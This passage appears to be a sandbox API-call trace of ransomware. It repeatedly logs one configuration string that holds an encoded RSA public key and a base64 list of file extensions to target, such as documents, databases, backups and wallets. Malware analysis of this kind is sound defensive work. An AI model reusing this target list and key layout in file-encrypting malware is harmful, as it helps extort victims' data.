CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm